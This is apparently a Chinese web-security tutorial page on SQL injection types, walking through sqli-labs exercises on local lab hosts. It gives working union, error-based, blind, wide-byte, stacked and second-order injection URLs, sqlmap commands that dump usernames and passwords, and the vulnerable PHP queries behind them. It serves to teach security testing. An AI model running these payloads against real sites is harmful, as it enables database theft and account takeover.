Web安全
计算机网络
物理层
数据链路层
网络层
运输层(传输层)
应用层
基础漏洞
01前端基础【HTML】
02前端基础【CSS】
03后端基础【PHP速通】
04后端基础【PHP面向对象】
05MySQL基础操作
06前后端联动【代码练习】
07SQL注入概述
07SQL 注入类型
08SQL注入 Labs
08SQL注入速查表
09XSS
09XSS【概述版】
09XSS Labs
10跨站请求伪造【CSRF】
11服务器端请求伪造【SSRF】
12XML 外部实体注入【XXE】
13代码执行漏洞
14命令执行漏洞
15文件包含漏洞
16文件上传漏洞
17反序列化漏洞
18业务逻辑漏洞
19未授权访问漏洞集合
20跨源资源共享【CORS】
21SSTI模板注入
22并发漏洞
23点击劫持【Clickjacking 】
24请求走私
25路径遍历
26访问控制
27身份验证漏洞
28WebSocket
29Web缓存中毒
30HTTP 主机头攻击
31信息泄露漏洞
32原型污染
33NoSQL注入
小程序
小程序抓包
SessionKey
Appsecret与access_token
openid
数据库
MySQL
Oracle
MongoDB
Redis
PostgreSQL
SQL server
中间件
Nginx
Apache HTTP Server
IIS
Tomcat
框架
ThinkPHP
Spring
Spring Boot
Django
访问控制
身份认证(Authentication)
授权(Authorization)
单点登录(SSO)
零信任(ZTA)
分布式身份(DID)
-
+
首页
07SQL 注入类型
# 联合注入-数字型 ## 概述 **注入的本质** - 用户输入的数据被当做代码执行。 **注入条件** - 用户可以控制传参; - 用户输入的语句被带入数据库并执行。 **显错注入原理** - 用户输入的数据被当做SQL语句执行,并带入数据库执行。 - 对用户输入的数据没有做任何过滤,并且将结果返回到页面。 **显错注入所用函数** order by -->对字段进行排序 group_concat() -->将字符连接起来,输出字符串集合,逗号分开 limit start end 限制select的输出数量 database() -->当前所用数据库名 version() -->数据库版本号 user() -->用户名 ## 靶场Less-2 1、进入靶场  2 、将id=1处1改为2  3、轻松得知:该页面是通过id进行传参,通过改变id的值页面返回不同的内容 4、分别使用and 1=1 和and 1=2 进行探测   5、观察页面发生了变化,使用order by 判断字段数 [一般通过二分法判断]     6、得知字段数为3,使用联合查询 UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。 多个 SELECT 语句会删除重复的数据 0 union select 1,2,3 观察回显点  7、回显点2,3,使用version()和database() 获得版本号和当前数据库的名称  8、得知MySQL版本号为5.0以上版本,所以可以使用MySQL自带数据库information_schema中的table和column表爆出数据 9、使用group_concat 爆出当前数据库下的所有表名  10、查询users表下的所有字段  11、查看user和password字段信息 第一种方法:使用limit 依次得出信息   第二种:使用group_concat()得出信息  ## 后端代码 ```php $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; ``` 接收id变量的传参,将id的传参值带入数据库进行查询。 # 联合注入-字符型 ## 概述 **注入的本质** 用户输入的数据被当做代码执行。 **注入条件** - 用户可以控制传参; - 用户输入的语句被带入数据库并执行。 **显错注入原理** - 用户输入的数据被当做SQL语句执行,并带入数据库执行。 - 对用户输入的数据没有做任何过滤,并且将结果返回到页面。 - 没有做任何防护 **注入的关键操作** - 构造闭合。 ## 注入基础 MySQL注释符:# 或 --空格 或 /**/ 内联注释:/*! SQL语句 */ 只有MySQL可以识别,常用来绕过WAF 注入探测符:常使用 \ 进行探测 ## 靶场Less-1 1、靶场  2、根据前面的数学型注入,可先使用and 1=2 探测  页面无反应 3、使用探测符号\  4、根据报错信息 ''1\' LIMIT 0,1' ==> '1\' LIMIT 0,1 (反斜杠通常为转义符)==>可猜测变量id由单引号字符围绕 构造payload: id=1' -- q (--空格 为MySQL的注释符) 5、查看后端源代码 ```php $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ``` 添加构造的payload后: ```php $sql="SELECT * FROM users WHERE id='1'-- q' LIMIT 0,1"; ``` 6、将payload写入到靶场中,页面正常  7、使用oder by 探测字段数    8、探测字段数为3,使用联合查询,观察回显点 http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,3 -- q  9、探测版本号和当前数据库名  10、利用MySQL自带数据库information_schema得出数据 http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- q  11、查看users数据表中的字段名 http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q  12、查询username、password字段信息,使用limit 依次查看 http://127.0.0.1/sqli/Less-1/?id=0' union select 1,username,password from users limit 3,1 -- q  ## 总结 字符型注入与数字型注入的区别为 有无包裹变量的符号不同 以下几种包裹方式注入,与‘$id’ 注入同理 ```php $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $sql="SELECT * FROM users WHERE id=“$id” LIMIT 0,1"; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1"; ``` 注入的关键在于 **构造闭合** # 报错型注入 ## 利用场景 当页面没有正确的返回错误信息时,就可以利用报错注入 ## 原理 利用数据库中的个别函数进行报错使用 ## 常见函数 - updatexml() - extractvalue() **extractvalue()** extractvalue() :对XML文档进行查询的函数 语法:extractvalue(目标xml文档,xml路径) 第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。 extractvalue(456,concat(0x7e,version(),0x7e)) **updatexml()** updatexml():更新XML文档的函数 语法:updatexml(目标xml内容,xml文档路径,更新的内容) updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) 实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码 **其他所用函数** - concat() ==>将多个字符串连接成一个字符串 ## 靶场Less-5 1、进入靶场  2、使用反斜杠\进行探测,报出错误信息  3、分析报错 ''1\' LIMIT 0,1' ==>'1\' LIMIT 0,1 ==>猜测变量由单引号包裹 故构造payload 1' -- q 4、写入payload,页面正常  5、得到字段数3,观察到页面没有回显点,但是有报错信息   6、可利用updatexml()函数 构造payload:updatexml(1,concat(0x7e,version(),0x7e),1) 注意MySQL支持16进制编码 ```URL http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)-- q 得出版本号 5.0以上 ```  7、利用MySQL自带数据库information_schema ```URL http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- q ```   8、查看users表中的字段名 ``` http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1) -- q ```     得出users表中有三个字段名:id、username、password 9、分别得出username和password 字段数据 第一个username字段数据Dumb  第一个password字段数据:Dumb  # 布尔盲注 ## 利用场景 - 在有些情况下,后台使用了错误信息屏蔽方法(比如@),屏蔽了报错, - 无法在根据报错信息来进行注入的判断,该情况称为"盲注" ## 表现形式 - based boolean (布尔盲注) - based time(时间盲注) ## 布尔盲注 - 传入“”错误“”参数和“正确”参数,观察页面是否发生了变化。 ## 所用函数 - length() 获取字符串的长度 - substr() 截取字符串 语法:substr(string,num start,num length) string 字符串;start 起始位置(从1开始);截取长度 - ascii() 把字符转换为ascii码值 ## 靶场Less-8 1、进入靶场,只显示了you are in..  2、将1改为0,观察页面是否发生了变化 you are in... 这三个单词不见了 页面发生变化  3、貌似是布尔盲注,通过探测得知为字符型布尔盲注   4、使用substr() 探测数据库版本号 本地操作:  靶场: http://127.0.0.1/sqli/Less-8/?id=1' and substr(version(),1,1) = 5-- q   5、版本号5.0以上,使用length() 探测数据库名的长度   6、得知数据库名长度为8,可进行猜单词,会不会是security,8个字母 使用 substr()、ascii()验证猜想  得知s字母的在ASCII码表中的数字是115 故可以构造poc ```sql ascii(substr(database(),0,1))=115 ```   可以验证当前数据库名的第一个单词是s,猜想正确 验证第二个   第二个单词为e,猜想正确 接下来进行一一猜解 7、知道了数据库名后,又知道版本号为5.0以上版本,故可利用information_schema数据库进行爆出相关数据 利用方法与上一步同理 8、由于一个单词一个单词猜解,过于费时费力,所以可以使用自动化工具SQLMap ## SQLMap跑布尔盲注 **基本操作** ``` 可以使用 --technique 指定SQLMap探测技术 支持的探测方式有: - B: 基于Boolean的盲注(Boolean based blind) - Q: 内联查询(inlin queries) - T:基于时间的盲注(time based blind) - U: 联合查询(union query based) - E: 错误(errorbased) ``` 1、由于已经知道存在 布尔盲注 ```sql python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B --current-db ``` 得出当前数据库名security  2、跑security数据库下的表面 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security --tables ```  3、跑出 users表下的字段名 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users --columns ```  4、跑出id、username、password的数据 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users -C id,username,password --dump ```  # 时间盲注 时间盲注也称为延时注入。 ## 利用场景 如果说基于Boolean的盲注在页面上可以看到0 or 1 的回显,那么时间盲注完全啥都看不到 但可以通过特定的输入,判断后台的执行时间,从而确定注入 ## 所用函数 - sleep() 让程序挂起,单位秒 - if(condition,value_if_true,value_if_false) 语法:当condition为真时,返回value_if_true,否则返回value_if_false - length() 获取字符串的长度 - substr() 截取字符串 语法:substr(string,num start,num length) string 字符串;start 起始位置(从1开始);截取长度 - ascii() 把字符转换为ascii码值 ## 靶场Less-9 1、进入靶场  2、输出错误参数,页面无变化  3、加上 and sleep()函数 尝试让页面休眠10秒  页面貌似延迟为2s 没有执行sleep()函数,猜想会不会是字符串型,换为' and sleep(10) -- q   执行成功,判断存在时间盲注 4、探测if语句是否可以使用 http://127.0.0.1/sqli/Less-9/?id=1' and if(1=2,sleep(20),null) -- q  http://127.0.0.1/sqli/Less-9/?id=1' and if(1=1,sleep(20),null) -- q  5、if语句可以使用,进行判断版本号 ``` http://127.0.0.1/sqli/Less-9/?id=1' and if( length(substr(select version(),1,1))=5,null,sleep(5)) -- q ```  版本号为5.0版本以上 6、判断当前数据库名 ``` http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) >120,null,sleep(5)) -- q ```  ``` http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) <120,null,sleep(5)) -- q ```  ``` http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) =115,null,sleep(5)) -- q ```   得知第一个单词为s 按照以上步骤,依次猜解 最终得到当前数据库名为security 7、其他信息与上述步骤同理,一个一个猜解 8、由于太过于费事费力,可以使用自动化工具SQLMap ## SQLMap跑时间盲注 ``` 使用 --technique 指定SQLMap探测技术 支持的探测方式有: - B: 基于Boolean的盲注(Boolean based blind) - Q: 内联查询(inlin queries) - T:基于时间的盲注(time based blind) - U: 联合查询(union query based) - E: 错误(errorbased) -time-sec参数设定延时时间,默认是5秒。 ``` 1、得出当前数据库名 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 --current-db ```  2、得出security数据库下的表面 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security --tables ```  3、跑 users表下面的字段 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security -T users --columns ```  4、跑出跑出users表中跑出id、username、password字段数据 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security -T users -C id,username,password --dump ```  # 宽字节注入 ## 原理 GBK编码是占用两个字节,ASCII编码是占用一个字节。 在PHP中的编码方式为GBK,在函数执行添加的是ASCII编码,在mysql中国默认字符集是GBK等宽字节字符集(GBK属于宽字符集中的一种), 而mysql中使用的默认的GBK编码方式是导致宽字节注入的根源。 - GBK 编码 两个字节表示一个字符 - ASCII 编码 一个字节表示一个字符 - MYSQL默认字节集是GBK等宽字节字符集 ## addslashes()函数 ``` addslashes ( string `$str` ) : string 返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。 这些字符是单引号(`'`)、双引号(`"`)、反斜线(`\`)与 NUL(**`null`** 字符)。 只要注入' " \ 空字符 都会转义为 \' \" \\ \ 魔术单引号同理【PHP5.4及其以上魔术引号是被删除了】 ``` ## 利用场景 如果网站使用了 addslashes()函数函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入 ``` %DF': - 会被PHP当中的addslashes函数转义为:%DF\' - \ 会被URL编码为 %5C - 那么 %DF' 会被转义为 %DF%5C%27 - %DF%5C%27是一个宽字节 也就是一个縗' 从而可以进行构造闭合,进行注入 小技巧:有的时候我们也可以用16进制来代替字符串 ``` ## URL编码 - %27---------单引号 - %20----------空格 - %23-----------#号 - %5c------------\反斜杠 ## 靶场Less-33 1、访问网站   2、当在id后面加上反斜杠时  反斜杠被进行了转义 3、输入单引号时  同样被进行了转义 4、输入%DF'时  网页进行了报错 5、加上注释符之后成功闭合  6、探测字段数 ``` http://192.168.168.129/sqli/Less-33/?id=2%df' order by 4-- qwe ```  ``` http://192.168.168.129/sqli/Less-33/?id=2%df' order by 3-- qwe ```  7、探测显示位 ``` http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,2,3-- qwe ```  8、当前数据库和版本号 ``` http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),version()-- qwe ```  9、爆表 ``` http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe ```  10、爆字段数 爆emails表的字段,由于单引号不能用,这里可以使用子查询或者将emails转为16进制的方法。 emails对应的16进制为0x656d61696c73 ``` http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x656d61696c73 -- qwe ```  11、出数据 ``` http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,group_concat(id),group_concat(email_id) from emails -- qwe ```  ## SQLMap跑宽字节注入 ``` 在已知存在宽字节注入的情况下,可使用sqlmap的参数: --tamper unmagicquotes.py ``` # 堆叠注入 ## 原理 在SQL数据库中,每条语句是以`;`分开的,堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。 ## 局限性 - 多语句执行受数据库类型、API、数据引擎的限制,有的不能实现; - 增删改也收到用户权限的限制。 ## 靶场Less-38 1、单引号构造闭合 ``` http://192.168.168.129/sqli/Less-38/?id=1' -- qwe ```  2、新建一张数据表 ``` http://192.168.168.129/sqli/Less-38/?id=1'; select * from users;create table user like users; -- qwe ```   3、新建用户 ``` http://192.168.168.129/sqli/Less-38/?id=1'; insert into users values(20,'mark','mark');-- qwe ```   # 二次注入 ## 原理 二次注入是指已存储(数据库、文件)的数据输入被读取后再次进入到 SQL 查询语句中导致的注入。 二次注入是通过**与数据库服务器进行交互的过程再次进行注入**。  ## 利用条件 - 用户输入恶意语句。 - 数据库把用户输入的数据没有做任何更改,直接进行了存储。 - 再用户取出数据的过程中,数据库将用户输入的数据完整且没有做任何修饰的展示给用户。 ## 靶场Less-24 1、一个登录界面,可进行更改密码、注册用户  2、查看数据库中原有的数据  3、目的:改掉admin用户的密码 4、注册用户 ``` 注册用户名为admin' -- q 密码为123456 ```  5、注册成功  6、查看数据库有无增加用户  7、使用用户名admin' -- q 登录 8、观察admin用户的密码为admin  9、更改admin' -- q用户的密码为654321   10、再次查看数据库  观察到新注册的用户admin' -- q 密码没改变,admin用户的密码却更改为654321 11、使用admin用户登录  登录成功 ## 能够更改admin密码原理 1、更改密码处的后端代码 ```php $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' " ``` 2、当我们使用admin' -- q用户名 更改密码时 代码变为 ```php $sql = "UPDATE users SET PASSWORD='$pass' where username='admin' -- q' and password='$curr_pass' " ``` username='admin' -- q'==>此处admin'构成闭合,用户名变为amdin用户,-- q则注释了后面的单引号。 故可以使用 用户名admin' -- q 密码123456 登录,然后更改用户名admin的密码。
毛林
2025年10月27日 17:07
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码